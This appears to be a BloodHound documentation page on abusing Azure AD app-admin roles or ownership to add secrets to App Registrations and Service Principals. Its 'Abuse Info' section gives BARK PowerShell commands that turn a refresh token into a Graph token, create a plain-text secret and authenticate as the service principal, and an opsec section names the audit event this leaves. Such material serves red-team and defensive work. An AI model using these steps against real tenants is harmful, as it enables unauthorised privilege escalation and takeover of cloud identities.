• Updated

This article applies to BHCE and BHE

Azure provides several systems and mechanisms for granting control of securable objects within Azure Active Directory, including tenant-scoped admin roles, object-scoped admin roles, explicit object ownership, and API permissions.

When a principal has been granted “Cloud App Admin” or “App Admin” against the tenant, that principal gains the ability to add new secrets to all Service Principals and App Registrations. Additionally, a principal that has been granted “Cloud App Admin” or “App Admin” against, or explicit ownership of a Service Principal or App Registration gains the ability to add secrets to that particular object.

Abuse Info

There are several ways to perform this abuse, depending on what sort of access you have to the credentials of the object that holds this privilege against the target object. If you have an interactive web browser session for the Azure portal, it is as simple as finding the target App in the portal and adding a new secret to the object using the “Certificates & secrets” tab. Service Principals do not have this tab in the Azure portal but you can add secrets to them with the MS Graph API. No matter what kind of control you have, you will be able to perform this abuse by using BARK’s New-AppRegSecret or New-ServicePrincipalSecret functions.

These functions require you to supply an MS Graph-scoped JWT associated with the principal that has the privilege to add a new secret to your target application. There are several ways to acquire a JWT. For example, you may use BARK’s Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT by supplying a refresh token:

$MGToken = Get-GraphTokenWithRefreshToken -RefreshToken "0.ARwA6WgJJ9X2qk..." -TenantID ""

Then use BARK’s New-AppRegSecret to add a new secret to the target application:

New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token

The output will contain the plain-text secret you just created for the target app:

New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token

Name              Value
----              -----
AppRegSecretValue odg8Q~...
AppRegAppId       4d31...
AppRegObjectId    d878...

With this plain text secret, you can now acquire tokens as the service principal associated with the app. You can easily do this with BARK’s Get-MSGraphToken function:

PS /Users/andyrobbins> $SPToken = Get-MSGraphToken `
-ClientID "4d31..." `
-ClientSecret "odg8Q~..." `
-TenantName ""

PS /Users/andyrobbins> $SPToken.access_token

Now you can use this JWT to perform actions against any other MS Graph endpoint as the service principal, continuing your attack path with the privileges of that service principal.

Opsec Considerations

When you create a new secret for an App or Service Principal, Azure creates an event called “Update application - Certificates and secrets management”. This event describes who added the secret to which application or service principal.